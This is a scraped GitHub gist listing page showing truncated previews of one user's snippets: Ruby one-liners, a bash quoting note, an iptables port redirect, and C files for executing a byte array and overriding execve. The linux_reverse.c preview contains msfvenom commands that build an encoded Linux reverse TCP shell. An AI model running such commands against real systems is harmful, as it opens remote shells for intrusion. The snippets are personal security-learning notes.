Skip to content

Instantly share code, notes, and snippets.

Alex ellcs

Block or report user

Report or block ellcs

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
# gleiche zuweisung
echo "$var1"
echo "$var2"
# string mit spaces
var3="abc def"
var4=abc\ def
ellcs / fibbonacci.rb
Created Apr 27, 2020
Fast fibbonacci
View fibbonacci.rb
N = (1 + Math::sqrt(5)) / 2
M = (1 - Math::sqrt(5)) / 2
def fibb(n)
(N**n - M**n) / (N - M)
ellcs / hacks.rb
Last active Apr 22, 2020
Helpful ruby oneliners
View hacks.rb
# create random groups of people
%w(james bob alice eve tux).shuffle.each_slice(2).to_a
# => [["bob", "eve"], ["alice", "tux"], ["james"]]
# assign random tools to people (tools can be empty)
people = %w(james bob alice eve tux)
tools = %w(hammer chainsaw screwdriver)
# => [["alice", "hammer"], ["james", "screwdriver"], ["tux", "chainsaw"], ["bob", nil], ["eve", nil]]
View yarv_check.rb
require 'contracts'
module B
def c; end
def global_method; end
class A
# redirect port to another port
sudo iptables -t nat -A OUTPUT -o lo -p tcp --dport 9000 -j REDIRECT --to-port 5000
ellcs / linux_reverse.c
Last active Mar 28, 2020
Execute bytearray in C
View linux_reverse.c
// You can just generate an elf file:
// $ msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=1337 -f elf -e x86/shikata_ga_nai -o rev
// $ chmod u+x rev
// ./rev
// Or compile it on your own:
// $ gcc -z execstack linux_reverse.c
int main() {
// $ msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=1337 -f c
// NOPs added by hand
ellcs / log.rb
Created Mar 20, 2020
ruby log with filename and line
View log.rb
def log(str); c = caller.first.split(":")[0..1].join(":"); puts "#{c} \"#{str}\""; emd
ellcs / all_exceptions.rb
Last active Mar 10, 2020
Complete ruby exception list
View all_exceptions.rb
# Public Domain
class Class
def descendants
ObjectSpace.each_object(Class).select { |klass| klass <= self }
def ancestor_class
ancestors[1..-1].find { |p| p.is_a?(Class) }
ellcs / execve_overload.c
Created Mar 9, 2020
Override method in compiled file
View execve_overload.c
// Step 1) gcc -fpic -shared -o execve_overload.c
#ifndef foo_h__
#define foo_h__
#include <stdio.h>
#include "stdlib.h"
int execve(const char *filename, char *const argv[], char *const envp[]) {
puts("Overwritten. Bye!");
# Copyright (c) 2020 ellcs.
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, version 3.
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
You can’t perform that action at this time.